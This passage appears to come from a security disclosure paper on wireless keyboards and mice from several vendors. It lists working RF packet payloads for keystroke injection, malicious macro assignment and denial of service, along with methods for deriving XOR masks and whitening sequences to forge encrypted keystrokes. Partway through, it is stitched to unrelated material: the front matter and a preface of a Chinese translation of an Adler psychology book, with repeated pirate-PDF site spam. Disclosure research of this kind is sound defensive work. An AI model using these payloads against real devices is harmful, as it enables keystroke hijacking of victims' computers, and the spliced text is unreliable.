19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
10
19:D3:AC:21:08
00 51 01 0E 7F 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D
11
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
12
19:D3:AC:21:08
00 51 01 0E 7F 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1C
13
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
14
19:D3:AC:21:08
00 51 01 0E 7F 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1B
21
15
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
16
19:D3:AC:21:08
00 51 01 0E 7F 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1A
17
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
18
19:D3:AC:21:08
00 51 01 0E 7F 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
19
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
20
19:D3:AC:21:08
00 51 01 0E 7F 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18
21
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
22
19:D3:AC:21:08
00 51 01 0E 7F 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17
23
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
24
19:D3:AC:21:08
00 51 01 0E 7F 00 0B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16
25
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
26
19:D3:AC:21:08
00 51 01 0E 7F 00 0C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15
27
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
28
19:D3:AC:21:08
00 51 01 0E 7F 00 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14
29
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
30
19:D3:AC:21:08
00 51 01 0E 7F 00 0E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13
31
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
32
19:D3:AC:21:08
00 51 01 0E 7F 00 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12
33
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
34
19:D3:AC:21:08
00 51 01 0E 7F 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11
35
19:D3:AC:21:08
00 10 07 0E 8F 00 00 00 00 4C
The odd numbered packets are ACK payloads going from the attacker’s transmitter to the mouse, and the even
numbered payloads are response packets transmitted by the mouse. In this example, packets 3 and 5 contain the
HID scan code information for key down and up events for keys ’a’, ’b’, and ’c’.
The specific mouse button assigned to a macro is defined in a configuration block that describes various mouse
configuration properties. Two of the packets in this block describe the mouse button assignments.
22
1
19:D3:AC:21:08
00 11 07 0E 7F 80 01 00 01 80 01 00 02 80 01 00 04 00 06 00 00 CB
Assign the first macro to the ’back’ button (1 of 2), transmitted from a malicious device to a G900 mouse
at address 19:D3:AC:21:08. Packet format is described in figure ??.
2
19:D3:AC:21:08
00 11 07 0E 7F 80 01 00 10 80 01 00 08 80 01 00 10 90 04 FF FF 1E
Assign the first macro to the ’back’ button (2 of 2), transmitted from a malicious device to a G900 mouse
at address 19:D3:AC:21:08. Packet format is described in figure ??.
7
Chicony
Chicony is the OEM which manufacturers the AmazonBasics wireless keyboard and mouse, along with the Dell
KM632 wireless keyboard and mouse.
Radio Configuration
Channels (MHz)
2403-2480, 1MHz spacing
Data Rate
2Mbps (2MHz GFSK)
Address Length
5 bytes
CRC Length
2 bytes
Table 18: Chicony radio configuration
7.1
Vulnerabilities
7.1.1
Unencrypted Keystroke Injection - AmazonBasics (BN-0007)
It is possible to transmit a specially crafted RF packet to the RF address of a Dell KM632 mouse, causing the
dongle to send keyboard HID packets to the host operating system.
Transmitting the following three payloads to the RF address of an AmazonBasics wireless mouse will generate an
’a’ keypress (HID scan code: 04):
1
XX:XX:XX:XX:XX
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F
2
XX:XX:XX:XX:XX
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:00:00:00:04:00
3
XX:XX:XX:XX:XX
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F
7.1.2
Unencrypted Keystroke Injection - Dell KM632 (BN-0007)
It is possible to transmit a specially crafted RF packet to the RF address of a Dell KM632 mouse, causing the
dongle to send keyboard HID packets to the host operating system.
Transmitting the following two payloads to the RF address of a Dell KM632 wireless mouse will generate an ’a’
keypress (HID scan code: 04):
1
XX:XX:XX:XX:XX
06:00:04:00:00:00:00:00:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:00:00:00
2
XX:XX:XX:XX:XX
06:00:00:00:00:00:00:00:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:00:00:00
23
7.1.3
Encrypted Keystroke Injection - AmazonBasics (BN-0013)
The AmazonBasics keyboard encrypts RF packets, but the implementation makes it possible to infer the cipher-
text and inject malicious keystrokes.
An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle:
B9 D6 00 8E E8 7C 74 3C BD 38 85 55 92 78 01 // ’a’ key down
D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // ’a’ key up
Octets 0 and 2-7 are octets 0 and 2-7 of a keyboard HID packet XOR’d with ciphertext. The value of octet 1
does not appear to have any e↵ect on the resulting HID packet.
The unencrypted octets 0 and 2-7 are as follows. Octet 1 in the HID packet is always 0x00.
00 XX 04 00 00 00 00 // ’a’ key down
00 XX 00 00 00 00 00 // ’a’ key up
Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 0 and 2-
7 of the second packet represent unaltered ciphertext.
Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption
key.
In this scenario, transmitting the following two RF packets will cause a ’b’ keystroke to be sent to the host com-
puter:
D0 E4 6A 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // ’b’ key down
D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // ’b’ key up
Octet 2 of the first packet has been XOR’d with 0x05, the HID scan code for ’b’. The second packet is the un-
changed ’key up’ packet previously observed.
7.1.4
Encrypted Keystroke Injection - Dell KM632 (BN-0013)
Dell KM632 keyboard encrypts RF packets, but the implementation makes it possible to infer the ciphertext and
inject malicious keystrokes.
An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle:
CD 38 09 E1 86 6D D7 DE 0E 20 F7 F2 E6 68 67 // ’a’ key down
D4 D5 16 E9 E8 5A 59 BE DD 41 D0 9A 06 B4 42 // ’a’ key up
Octets 0 and 2-7 are octets 0 and 2-7 of a keyboard HID packet XOR’d with ciphertext. The value of octet 1
does not appear to have any e↵ect on the resulting HID packet.
The unencrypted octets 0 and 2-7 are as follows. Octet 1 in the HID packet is always 0x00.
00 XX 04 00 00 00 00 // ’a’ key down
00 XX 00 00 00 00 00 // ’a’ key up
Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 0 and
2-7 of the second packet represent unaltered ciphertext.
Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption
key.
In this scenario, transmitting the following two RF packets will cause a ’b’ keystroke to be sent to the host com-
puter:
D4 D5 13 E9 E8 5A 59 BE DD 41 D0 9A 06 B4 42 // ’b’ key down
D4 D5 16 E9 E8 5A 59 BE DD 41 D0 9A 06 B4 42 // ’b’ key up
24
Octet 2 of the first packet has been XOR’d with 0x05, the HID scan code for ’b’. The second packet is the un-
changed ’key up’ packet previously observed.
8
MOSART
MOSART Semiconductor produces unencrypted transceivers for use in wireless mice and keyboards. MOSART-
based products from each vendor functioned identically, so it is assumed that there is no vendor customization
available.
Preamble
2 bytes
Address
4 bytes
Frame Type
4 bits
Sequence Number
4 bits
Payload
3-5 bytes
CRC
2 bytes
Postamble
1 byte
Figure 7: MOSART packet format
Radio Configuration
Channels (MHz)
2402-2480, 2MHz spacing
Data Rate
1Mbps (1MHz GFSK)
Address Length
4 bytes
CRC Length
2 bytes, CRC-16 XMODEM
Payload Whitening
0x5A (repeated)
Table 19: MOSART radio configuration
MOSART Movement Packet
Field
Length
Description
Preamble
2 bytes
AA:AA
Address
4 bytes
Frame Type
4 bits
0x04
Sequence Number
4 bits
X1
1 byte
X movement for 1 of 2 possible concatenated movement packets
X2
1 byte
X movement for 2 of 2 possible concatenated movement packets
Y1
1 byte
Y movement for 1 of 2 possible concatenated movement packets
Y2
1 byte
Y movement for 2 of 2 possible concatenated movement packets
CRC
2 bytes
CRC-16 XMODEM
Postamble
1 byte
FF
Table 20: MOSART Movement Packet
25
MOSART Scroll Packet
Field
Length
Description
Preamble
2 bytes
AA:AA
Address
4 bytes
Frame Type
4 bits
0x07
Sequence Number
4 bits
Button State
1 byte
0x81
Button Type
4 bits
0x0F
Scroll Motion
4 bits
0x0F: down, 0x01: up
CRC
2 bytes
CRC-16 XMODEM
Postamble
1 byte
FF
Table 21: MOSART Scroll Packet
MOSART Click Packet
Field
Length
Description
Preamble
2 bytes
AA:AA
Address
4 bytes
Frame Type
4 bits
0x07
Sequence Number
4 bits
Button State
1 byte
0x81 (down) or 0x01 (up)
Button Type
4 bits
0x0A
Button
4 bits
CRC
2 bytes
CRC-16 XMODEM
Postamble
1 byte
FF
Table 22: MOSART Click Packet
26
MOSART Keypress Packet
Field
Length
Description
Preamble
2 bytes
AA:AA
Address
4 bytes
Frame Type
4 bits
0x07
Sequence Number
4 bits
Key State
1 byte
0x81 (down) or 0x01 (up)
Key Code
1 byte
CRC
2 bytes
CRC-16 XMODEM
Postamble
1 byte
FF
Table 23: MOSART Keypress Packet
8.1
Vulnerabilities
8.1.1
Unencrypted Keystroke Sniffing and Injection (BN-0010)
MOSART-based keyboards and USB dongles communicate using an unencrypted wireless protocol, making it
possible to sni↵ keystrokes and inject malicious keystrokes.
The dongles reports to the host operating system as MOSART Semiconductor transceivers, however the specific
RFIC is unknown, and no publicly available documentation could be found.
The RF packets contain a preamble, address, payload, CRC, and postamble. The sync field, payload, and CRC
are whitened by XORing with repeated 0x5A bytes, and the CRC is the XModem variant of CRC-CCITT.
An ’a’ keystroke is transmitted over the air in the following format:
AA:AA:AE:DD:D4:E8:23:DB:48:19:06:FF // ’a’ key down
AA:AA:AE:DD:D4:E8:20:5B:48:D1:44:FF // ’a’ key up
9
Signia
Toshiba uses a Signa SGN6210 transceiver in the a↵ected wireless keyboard and mouse, which is an unencrypted
frequency hopping transceiver.
Radio Configuration
Channels (MHz)
2402-2480, 1MHz spacing
Data Rate
1Mbps (1MHz GFSK)
CRC Length
2 bytes, CRC-16-CCITT
Table 24: Signia radio configuration
27
9.1
Vulnerabilities
9.1.1
Unencrypted Keystroke Sniffing and Injection (BN-0010)
The keyboard and USB dongle communicate using an unencrypted wireless protocol, making it possible to sni↵
keystrokes and inject malicious keystrokes.
An example ’a’ keystroke is transmitted over the air in the following format:
00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23
-----------------------------------------------------------------------
AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 87 B8 7F 1D 8A 5F C3 17 // ’a’ key down
AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 A7 B8 7F 1D 8A 5F F6 1F // ’a’ key up
0-2: preamble
3-13: sync field / address / packet type
14-21: keyboard data
22-23: CRC with polynomial 0x1021
The packet is whitened before being transmitted over the air, and the whitening sequence is specific to each paired
keyboard and dongle. It is not known how the whitening sequence is generated, but it can be inferred by pas-
sively listening to keyboard traffic.
The keyboard data (octets 14-21) are a whitened version of the HID packet that gets sent to the host operating
system when a key is pressed. The de-whitened HID packets in this example are as follows:
14 15 16 17 18 19 20 21
-----------------------
00 00 04 00 00 00 00 00 // ’a’ key up
00 00 00 00 00 00 00 00 // ’a’ key down
Since the HID packet when no keys are depressed is all 0x00 bytes, it can be inferred that the whitening sequence
is the same as bytes 14-21 in the second RF packet.
14 15 16 17 18 19 20 21
-----------------------
20 69 A7 B8 7F 1D 8A 5F // whitening sequence
Using this knowledge, an attacker can craft RF packets to inject arbitrary keystrokes. The HID and RF packets
for the key ’b’ are as follows:
14 15 16 17 18 19 20 21
-----------------------
00 00 05 00 00 00 00 00 // ’b’ down HID packet
20 69 07 B8 7F 1D 8A 5F // ’b’ down, reversed bit order, and XOR’d with the whitening sequence
The new RF packet pair to inject an ’b’ keystroke is as follows:
00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23
-----------------------------------------------------------------------
AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 07 B8 7F 1D 8A 5F 17 37 // ’b’ key down
AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 A7 B8 7F 1D 8A 5F F6 1F // ’b’ key up
28
10
Unknown GE Transceiver
The a↵ected GE wireless keyboard and mouse use an unknown 500kHz GFSK transceiver.
Radio Configuration
Channels (MHz)
2402-2480, 1MHz spacing
Data Rate
500kbps (500kHz GFSK)
CRC Length
2 bytes, CRC-16-CCITT
Table 25: GE radio configuration
10.1
Vulnerabilities
10.1.1
Unencrypted Keystroke Sniffing and Injection (BN-0015)
The keyboard and USB dongle communicate using an unencrypted wireless protocol, making it possible to sni↵
keystrokes and inject malicious keystrokes.
The RF packets contain a preamble, sync field, payload, protected by a 16-bit CRC (CRC-CCITT).
An ’a’ keystroke is transmitted over the air in the following format:
55:55:55:54:5A:07:9D:01:04:00:00:00:00:00:00:00:30:41 // ’a’ key down
55:55:55:54:5A:07:9D:01:00:00:00:00:00:00:00:00:3F:2C // ’a’ key up
Bytes 0-2: preamble
Bytes 3-6: sync field / address
Bytes 7-15: payload
Bytes 16-17: CRC
11
Lenovo
Lenovo sells wireless keyboards and mice made by multiple OEMs. They use di↵erent protocols, but are all based
on nRF24L transceivers, using a common physical layer configuration.
Radio Configuration
Channels (MHz)
2403 - 2480
Data Rate
2Mbps (2MHz GFSK)
Address Length
5 bytes
CRC Length
2 bytes
Table 26: Lenovo radio configuration
11.1
Vulnerabilities
11.1.1
Denial of Service (BN-0008)
It is possible to transmit a specially crafted RF packet to the RF address of a Lenovo wireless mouse/keyboard,
causing the devices paired with the dongle to stop responding until the dongle it is re-seated.
29
The following packet will disable a Lenovo Ultraslim Plus keyboard/mouse when transmitted to the RF address
of the mouse:
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F
The following packet will disable a Lenovo Ultraslim keyboard/mouse when transmitted to the RF address of the
keyboard:
0F
The following packet will disable a Lenovo N700 mouse when transmitted to the RF address of the mouse:
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F
11.1.2
Unencrypted Keystroke Injection (BN-0009)
Transmitting the following packets to a Lenovo 500 USB dongle will generate an ’a’ keystroke:
00:00:0B:00:00:04:00:00:00
00:00:0B:00:00:00:00:00:00
11.1.3
Encrypted Keystroke Injection (BN-0013)
The Lenovo Ultraslim keyboard encrypts RF packets, but the implementation makes it possible to infer the ci-
phertext and inject malicious keystrokes.
An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle:
49 C3 5B 02 59 52 86 9F 38 36 27 EF AC // ’a’ key down
4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // ’a’ key up
Octets 0 and 2-7 are octets 0 and 2-7 of a keyboard HID packet XOR’d with ciphertext. The value of octet 1
does not appear to have any e↵ect on the resulting HID packet.
The unencrypted octets 0 and 2-7 are as follows. Octet 1 in the HID packet is always 0x00.
00 XX 04 00 00 00 00 // ’a’ key down
00 XX 00 00 00 00 00 // ’a’ key up
Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 0 and 2-
7 of the second packet represent unaltered ciphertext.
Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption
key.
In this scenario, transmitting the following two RF packets will cause a ’b’ keystroke to be sent to the host com-
puter:
4C 66 E4 46 76 1A 72 F4 F5 C0 0D 85 C3 // ’b’ key down
4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // ’b’ key up
Octet 2 of the first packet has been XOR’d with 0x05, the HID scan code for ’b’. The second packet is the un-
changed ’key up’ packet previously observed.
30
12
Microsoft
Microsoft sells both legacy XOR-encrypted wireless keyboards and modern AES-encrypted wireless keyboards
based on the nRF24L series of transceivers.
Radio Configuration
Channels (MHz)
2403 - 2480
Data Rate
2Mbps (2MHz GFSK)
Address Length
5 bytes
CRC Length
2 bytes
Table 27: Microsoft radio configuration
12.1
Vulnerabilities
12.1.1
Unencrypted Keystroke Injection (BN-0004)
Current Microsoft wireless keyboards encrypt keystroke data using 128-bit AES encryption. The prior generation
of Microsoft wireless keyboards used XOR encryption which was shown to be insecure.
USB dongles from both the AES and XOR encrypted generations of Microsoft wireless keyboards accept unen-
crypted keystroke packets transmitted to the RF address of a wireless mouse. This applies to standalone wireless
mice, as well as mice sold as part of a keyboard and mouse set.
The following packets will generate an ’a’ keystroke:
– Microsoft Sculpt Ergonomic Desktop / Microsoft USB dongle model 1461
08:78:87:01:A0:4D:43:00:00:04:00:00:00:00:00:A3
08:78:87:01:A1:4D:43:00:00:00:00:00:00:00:00:A6
– Microsoft Wireless Mobile Mouse 4000 / Microsoft USB dongle model 1496
08:78:18:01:A0:4D:43:00:00:04:00:00:00:00:00:3C
08:78:18:01:A1:4D:43:00:00:00:00:00:00:00:00:39
– Microsoft Wireless Mouse 5000 / Microsoft 2.4GHz Transceiver v7.0
08:78:03:01:A0:4D:43:00:00:04:00:00:00:00:00:27
08:78:03:01:A1:4D:43:00:00:00:00:00:00:00:00:22
13
HP (non-MOSART)
The HP Wireless Elite v2 is an nRF24L based wireless keyboard and mouse set with a proprietary communica-
tion protocol.
31
Radio Configuration
Channels (MHz)
2403 - 2480 (1MHz spacing)
Data Rate
2Mbps (2MHz GFSK)
Address Length
5 bytes
CRC Length
2 bytes
Table 28: HP Elite v2 radio configuration
13.1
Vulnerabilities
13.1.1
Encrypted Keystroke Injection (BN-0005)
The HP Wireless Elite v2 wireless keyboard appears to utilize the 128-bit AES encryption provided by the nRF24L
transceivers in the keyboard and dongle, but it is implemented in such a way that it is possible to inject keyboard
packets without knowledge of the AES key.
A typical sequence of key presses looks like this over the air:
[keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB
// key down
[dongle]
06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB
[keyboard] 07
[dongle]
0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB
// key up
[dongle]
06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB
[keyboard] 07
[dongle]
0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB
// key down
[dongle]
07 69 6A 15 A0 B2 11 11 7B B1 49 49 CB
[keyboard] 07
[dongle]
0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB
// key up
[dongle]
06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB
[keyboard] 07
[dongle]
0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 04
// request key rotate
[dongle]
0A DA 88 A3 0B 00
// crypto exchange
[keyboard] 05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0
// crypto exchange
[dongle]
05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0
// crypto exchange
[keyboard] 06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63
// key down
[dongle]
06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63
[keyboard] 07
[dongle]
0B DA 88 A3 0B 00 C2 CF B5
[keyboard] 06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63
// key up
[dongle]
06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63
The key down and key up packets are both XOR’d with an 8 byte mask, which appears to be derived during the
crypto exchange. The keyboard will continue to use the same XOR mask for subsequent packets, and only initi-
ates a key rotation periodically.
key up HID packets are a sequence of 8 0x00 bytes, so it is possible to infer the XOR mask by observing a key
press sequence, and using the key up packet as the XOR mask.
Once the XOR mask is known, it is possible to craft and inject arbitrary keyboard packets, which cause keyboard
HID packets to be send to the host operating system.
32
Due to the fact that the keyboard is responsible for initiating the crypto exchange, the last used XOR mask can
be used indefinitely while the user is not active typing.
14
Gigabyte
The Gigabyte K7600 is an nRF24L based wireless keyboard and mouse set with a proprietary communication
protocol.
Radio Configuration
Channels (MHz)
2403 - 2480 (1MHz spacing)
Data Rate
1Mbps (1MHz GFSK)
Address Length
5 bytes
CRC Length
2 bytes
Table 29: Gigabyte radio configuration
14.1
Vulnerabilities
14.1.1
Unencrypted Keystroke Injection and Injection (BN-0006)
The Gigabyte K7600 does not encrypt keyboard packets sent over RF, making it possible to inject arbitrary key-
board HID frames.
Transmitting the following packet to the RF address of a K7600 will generate an ’a’ keypress:
CE:00:02:00:00:00:00:00:00:00:3F:80:3D
References
[1]
Bastille Research Team Vulnerability Disclosure Policy. url: https://www.bastille.net/bastille-
research-team-vulnerability-disclosure-policy.
[2]
Logitech Advanced 2.4 GHz Technology With Unifying Technology. url: http://www.logitech.com/images/
pdf/roem/Advanced_24_Unifying_FINAL070709.pdf.
33 | pdf |
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
本书用“青年与哲人的对话”这一故事形式总结了与弗洛伊德、荣格并称
为“心理 学三大巨头”的阿尔弗雷德•阿德勒的思想(阿德勒心理学)。
风靡欧美的阿德勒心理学对于“人如何能够获得幸福”这个哲学问题给出
了极其简 单而又具体的“答案”。了解了足以被称为“这个世界上的一个
真理”的阿德勒思想之 后,你的人生会发生什么变化呢?又或者,什么
都不会改变吗?
来吧,让我们与青年一起走进这扇“门”!
KIRAWARERU YUKI by Ichiro Kishimi, Fumitake Koga
Copyright © 2013 Ichiro Kishimi & Fumitake Koga
Simplified Chinese translation copyright © 2015 by China Machine Press
All rights reserved.
Original Japanese language edition published by Diamond, Inc.
Simplified Chinese translation rights arranged with Diamond, Inc. through
EYA
Beijing Representative Office
北京市版权局著作权合同登记图字:01-2014-6302号。
图书在版编目(C1P)数据
被讨厌的勇气:“自我启发之父”阿德勒的哲学课/(曰)岸见一郎,
(日)古贺史健 著;渠海霞译.一北京:机械工业出版社,2015.3
ISBN 978-7-111-49548-2
I .①被…11.①岸…②古…③渠…III.①人生哲学一通俗读物IV. ①DB821-
49 中国版本图书馆CIP数据核字(2015)第046398号
机械工业出版社(北京市百万庄大街22号邮政编码100037)
策划编辑:廖岩 责任编辑:廖岩
责任校对:舒莹 责任印制:乔宇
保定市中画美凯印刷有限公司印刷
2015年4月第1版第1次印刷
170mmx242mm • 14 印张 • 1 插页• 166 千字
标准书号:ISBN 978-7-111-49548-2
定价:39.80元
凡购本书,如有缺页、倒页、脱页, 电话服务
服务咨询热线:(010) 88361066
读者购书热线:(010) 68326294 (010) 88379203
封面无防伪标均为盗版
see more please visit: https://homeofpdf.com
由本社发行部调换 网络服务
机工官网:www.cmpbook.com
机工官博:weibo.com/cmpl952
教育服务网:www. cmpedu. com
金书网:www.golden-book.com
see more please visit: https://homeofpdf.com
本书的赞誉
它期许我这一年能拥有被讨厌的勇气,继续大胆地许下做自己的愿
望,并勇敢实现它!
——曾宝仪
小心检视,你的成功是否只是以害怕被他人讨厌而换来的。若是如
此,那你的成功不幸只代表“你为他人活了一辈子”。
——陈文茜
一部振奋人心又好读易懂的心灵作品。看完之后,你绝对可以为你
无意义的人生增添美丽色彩的意义。好书!
——身心灵作家 张德芬
如果说自卑是人类与世界互动的必然结果,那么勇气就是人们在追
寻意义人生中的必然能力。它就藏在每个生命体的某个角落,期待着特
别的机遇。作者以超越心理咨询的方式,进行心灵的对话,是一本自我
成长和疗愈很有帮助的书。
——心丝带心理志愿者协会会长国家心理督导师 韦志中
本书的名字《被讨厌的勇气》,承担这种自由和责任,需要无畏的
勇气。这种勇气,是阿德勒心理学的关键词,也是我们人生问题的最终
解药。
知乎专栏作家 动机在杭州
这本书绝对不是心灵鸡汤,而是稍带苦涩,但又可治病的良药。也
许阅读过程中你会被作者的“犀利”颠覆三观,心生不爽。但不爽过后,
抬头看窗外,满目清凉,世界会美好很多……
——关系心理学家著名心理咨询师 胡慎之
这是一本深入浅出的好书,既适合作为大众的自助手册,也可以作
为专业人员的临床指南。
see more please visit: https://homeofpdf.com
——资深心理咨询师香港精神分析学会副主席 张沛超
不死不生。对于一个渴望摆脱旧日模式、重新生出一个自己的人来
说,勇气总是第一位的。这个勇气包括不怕试错、不怕被黑、被死千回
还能重新活过来的力量。
——《心探索》杂志执行主编 赵晓梅
这是一剂烈性药,它会刺痛你的意识的神经。不要抗拒它,一口一
口地喝下去。在被你所讨厌的勇气当中,你会重新理解自己的生活方
式。
——壹心理创始人 黄伟强
成长意味着独立,青年在面对独立的人生之时,以往的各种存在焦
虑会涌现而出。本书是人生路上思想的灯塔,它坚定而让人愉悦的言
语,是青年未知世界的一点火种,照亮并引导我们属于自己的未来。
——心理学空间
see more please visit: https://homeofpdf.com
推荐序一
勇气的心理学
这是一本深入浅出的好书,既适合作为大众的自助手册,也可以作
为专业人员的临床指南。本人在这两个方面都受益匪浅。
作为一般读者,它可以是你接触心理自助的第一本书。你可以不需
要任何准备知识就可以从容地打开这本《被讨厌的勇气》,甚至不需要
知道阿德勒是谁、他跟弗洛伊德有什么关系。本书由在当代并不常见的
对话体写就,延续了很多古代经典赖以传世的方式,如《论语》《黄帝
内经》《理想国》及大多数佛教经典。对话体使得我们阅读的时候感到
非常亲切,有“如师在侧、如友在临”的体验:我们可以跟随书中两位主
角的对话,跟随他们的辩论进入阿德勒式的心灵成长世界。尤其要点赞
的是书中设计的案例朴实平直,没有以“躁郁症”或“多重身份”等险奇案
例吸引眼球,更多的是:“要不要活在别人的期待里?”“如何面对自己
的缺陷?”“如何处理自己的人生课题?”——这些都是几乎每一个人都
会遇到的生活议题。很多时候,在阅读中甚至会强烈地感觉到,我就是
那个不断发问的年轻人。我在春节期间阅读了这本书,老实讲,很多时
候都有被警醒的感觉。例如书中所呈现的阿德勒的教育理念:“既不要
批评,也不要表扬你的孩子。”以往我会比较注重避免严厉的批评,现
在也会稍稍注意不要过分表扬自己的孩子。尽管作为一名专业的助人
者,这样的结论早不陌生,可是在本书中重新温习这个议题的时候,还
是再次被阿德勒和两位日本同道善意地隔空提醒了。相信读者自会发现
对自己有益之处。
你也许是一位跟我一样的执业心理咨询师,可能你也长久以来沉浸
于弗洛伊德的精神分析中。坦率地讲,我本人从弗洛伊德式的精神分析
中获益匪浅。?接受精神分析甚至是我30岁前做出的最为英明的决定,
从那之后我的人生发生了重大的变化。我也作为一名精神分析取向的心
理咨询师有六年了,每一年我都更为信服弗洛伊德和他的后继者的理念
(与我而言主要是英国精神分析家比昂),但这样的逐步信任也隐含着
一种危险——那就是过分认同并忠诚于一种信条,不知不觉间开始通过
一根管子去观察世界和人生(要命的是这根管子比你想象的要更细,哪
怕是你经常反省这一点)。换句话说,我可能中弗洛伊德的毒太深了
(尽管我尝试着多学学荣格以稍稍解毒,结果发现自己更沉醉于内心和
过去的世界),在这个时候读到的阿德勒的确是一剂及时的良药。阿德
see more please visit: https://homeofpdf.com
勒对于当下的重视,对于人际的理解,对于勇气和决定的重要性的再三
确认……在我的内心久久回响。尽管写这篇推荐序的时候,一摞阿德勒
的书正在来我书房的路上,我并未决定从此做一个“阿德勒主义者”,因
为我看不出阿德勒有这样的暗示,也读不到本书的两位作者给出了这样
的诱惑。本书的两位日本作者在很多时候都显示出他们所受东方文化的
影响,尤其是对阿德勒的“共同体”进行诠释时,显示出了儒家和佛教的
影响,相信各位同样生活在东方文化中的同仁能发现更多。
这是一本读起来容易,但写起来不容易的书。对话体的格式要求作
者不能简单地罗列结论,而要通过对话显示和展开我们是如何得到智慧
的,阅读中我能感觉到作者的心血投注。我从来没有写过“推荐序”,读
了这部书的一个直接的好处是,它让我有了写这篇荐文的“勇气”。我老
老实实地把我阅读这本书的感受,以及我觉得它好在哪里交代出来,这
也算是跟各位未曾谋面的同读者的一种对话吧。
是为序。
资深心理咨询师香港精神分析学会副主席 张沛超
2015年3月6日于深圳福田
see more please visit: https://homeofpdf.com
推荐序二
自我的枷锁和解放
在遭遇大规模恶搞之前,禅师和青年的相遇,其实还是挺有意思
的。青年有困惑,禅师有智慧,只说故事太浅,只讲道理太深,于是禅
